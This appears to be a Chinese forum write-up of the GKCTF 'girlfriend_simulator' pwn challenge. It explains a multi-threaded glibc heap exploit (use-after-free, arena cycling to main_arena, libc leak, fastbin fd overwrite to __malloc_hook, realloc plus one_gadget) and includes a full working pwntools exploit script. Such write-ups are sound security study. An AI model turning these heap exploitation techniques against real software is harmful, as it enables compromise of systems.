首页
社区
课程
招聘
[原创]GKCTF-girlfriend_simulator 多线程+堆
2020-10-20 16:42 6646

[原创]GKCTF-girlfriend_simulator 多线程+堆

2020-10-20 16:42
6646

一道多线程+堆pwn。

题目漏洞点分析

  1. 采取的储存结构是 bss_table -> chunk_info(固定大小0x10) -> chunk。但是由于申请时和释放时的顺序相反,只要将chunk的大小控制在0x10,就导致可以泄露堆地址。
    图片描述
    图片描述
  2. 线程函数中是一个有UAF的菜单堆,但是限制了利用次数,难以在一个子线程中完成全部利用。
    图片描述
    并且当到达最后一个线程时,可以泄露libc基地址。
    图片描述

  3. 当线程函数结束后,可以对最后一个申请的chunk做一次0x10的任意写。如果最后一个申请的chunk为free状态,那么就可以通过这里来劫持他的fd指针。但需要注意的是,这一个过程是发生在主线程的arena中的
    图片描述

  4. 当所有子线程结束后有3次malloc的机会,并且前两次都可以写。利用这个来打one_gadget
    图片描述
    图片描述
    图片描述

解题思路简述

1.利用泄露的堆地址探测什么时候到达主线程的main_arena。(因为arena是个循环链表)

 

arena结构如下:

可以看看俺的这篇文章。
main_arena

 

2.在到达主线程的arena时放掉chunk,留下bss上的指针,拿到libc基地址。

 

3.利用线程结束后的任意写,改fastbin中chunk的fd为malloc_hook-0x23(此时在main_arena中),然后用realloc+one_gadget即可getshell。

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
# encoding=utf-8
from pwn import *
from LibcSearcher import *
s = lambda buf: io.send(buf)
sl = lambda buf: io.sendline(buf)
sa = lambda delim, buf: io.sendafter(delim, buf)
sal = lambda delim, buf: io.sendlineafter(delim, buf)
shell = lambda: io.interactive()
r = lambda n=None: io.recv(n)
ra = lambda t=tube.forever:io.recvall(t)
ru = lambda delim: io.recvuntil(delim)
rl = lambda: io.recvline()
rls = lambda n=2**20: io.recvlines(n)
 
libc_path = "/lib/x86_64-linux-gnu/libc-2.23.so"
elf_path = "./girlfriend_simulator"
libc = ELF(libc_path)
elf = ELF(elf_path)
#io = remote("node3.buuoj.cn",26000)
if sys.argv[1]=='1':
    context(log_level = 'debug',terminal= '/bin/zsh', arch = 'amd64', os = 'linux')
elif sys.argv[1]=='0':
    context(log_level = 'info',terminal= '/bin/zsh', arch = 'amd64', os = 'linux')
#io = process([elf_path],env={"LD_PRELOAD":libc_path})
 
 
 
 
cho='>>'      # choice提示语
siz='size?'     # size输入提示语
con='content:'         # content输入提示语
def add(size,content='',c='1'):
    sal(cho,c)
    sal(siz,str(size))
    sa(con,content)
def free(c='2'):
    sal(cho,c)
def show(c='3'):
    sal(cho,c)
# 获取pie基地址
def get_proc_base(p):
    proc_base = p.libs()[p._cwd+p.argv[0].strip('.')]
    info(hex(proc_base))
 
# 获取libc基地址  
def get_libc_base(p):
    libc_base = p.libs()[libc_path]
    info(hex(libc_base))
 
def detect_if_thread_main():
    # 管理结构:bss_table[] -> chunk_info(0x10大小) -> chunk
 
    add(0x10,'a'*8)   # 此时开了一个0x10的chunk_info和一个0x10的chunk
    free()            # 释放0x10的chunk到子线程的bins里
    add(0x10,'b'*8)   # 再申请0x10,此时把之前的chunk申请回来作为chunk_info2
    show()            # 泄露上一chunk info中uaf的上一chunk地址。
    ru('b'*8)
    heap = u64(r(8))
    success("last:"+hex(heap))
    sal(cho,'5')
 
def exp():
    global io
    io = process(elf_path)
    get_proc_base(io)
    get_libc_base(io)
    ru("How much girlfriend you want ?")
    sl(str(9))
    for i in range(8):
        detect_if_thread_main()
 
    # 经过探测在第九次时到达主线程的main_arena
    # 接下来的操作均在主线程的main_arena中
    add(0x68,'a'*0x10)
    free()
    sal(cho,'5')
    ru("wife:")
    libc.address =int(r(len('0x7ffff7bb5620')),16)-libc.sym['_IO_2_1_stdout_']
    success("libc:"+hex(libc.address))
 
    malloc_hook = libc.sym['__malloc_hook']
    realloc = libc.address+(0x7ffff7874710-0x7ffff77f0000)
    ogg = libc.address+0x4527a
    success("one_gadget:"+hex(ogg))
    success("mallochook:"+hex(malloc_hook))
    success("realloc:"+hex(realloc))
 
 
    ru("say something to impress your girlfriend")
    s(p64(malloc_hook-0x23))
    ru("your girlfriend is moved by your words")
    sl("???")
    pause()
    ru("Questionnaire")
    s('\x00'*11+p64(ogg)+p64(realloc+4))
 
    shell()
 
exp()

其中detect_if_thread_main()是用来探测此时是否在主线程的分配区中,注意他输出的是上一个线程的堆地址。(经测试,第9个线程的arena循环到main_arena中)


[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课

收藏
点赞3
打赏
分享
最新回复 (0)
游客
登录 | 注册 方可回帖
返回